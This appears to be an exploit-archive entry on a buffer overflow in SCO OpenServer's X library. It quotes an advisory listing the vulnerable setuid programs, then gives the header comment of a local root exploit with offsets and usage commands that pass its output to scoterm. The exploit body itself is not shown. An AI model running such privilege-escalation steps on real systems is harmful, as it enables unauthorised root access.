Description

SCO Open Server 5.0.5 X Library Buffer Overflow Vulnerability (2). Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/638/info
 
A buffer overflow vulnerability in the shared X library may allows local users to obtain higher privileges. Any setuid applications linked against the library are possibly vulnerable. The vulnerability is in the handling of the '-bg' command line parameter.
 
 
Setuid root applications known to be vulnerable inclue xload, xmcd, xterm, and scoterm.
 
Setuid bin applications known to be vulnerable include scosession. 

/*
 * <scotermx.c> Local root exploit 
 *
 * Offset: scoterm (SCO OpenServer 5.0.4)
 * 0 -> From an open scoterm (without display parameter)
 * 2500 -> From remote telnet (with display parameter)
 *
 * Usage: 
 * $ cc scotermx.c -o scotermx
 * $ scoterm 
 * $ /usr/bin/X11/scoterm -geometry `scotermx 0`
 *                      or
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `scotermx 2500`
 *
 * Note: scoterm need to be run from a valid x-display
